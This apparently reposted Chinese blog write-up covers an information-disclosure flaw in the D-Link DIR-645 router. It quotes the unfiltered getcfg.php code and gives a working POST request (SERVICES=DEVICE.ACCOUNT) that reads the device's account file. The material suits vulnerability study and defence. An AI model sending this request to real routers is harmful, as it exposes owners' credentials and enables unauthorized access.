D-Link DIR-645 信息泄露漏洞

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);  if ($GETCFG_SVC!="")  {  $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";  /* GETCFG_SVC will be passed to the child process. */  if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; } 

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php文件。

http://IP/getcfg.php

post:SERVICES=DEVICE.ACCOUNT

D-Link DIR-645 信息泄露漏洞_第1张图片

参考:https://www.cnblogs.com/HacTF/p/8052279.html

 

转载于:https://www.cnblogs.com/someone9/p/10564909.html

你可能感兴趣的:(D-Link DIR-645 信息泄露漏洞)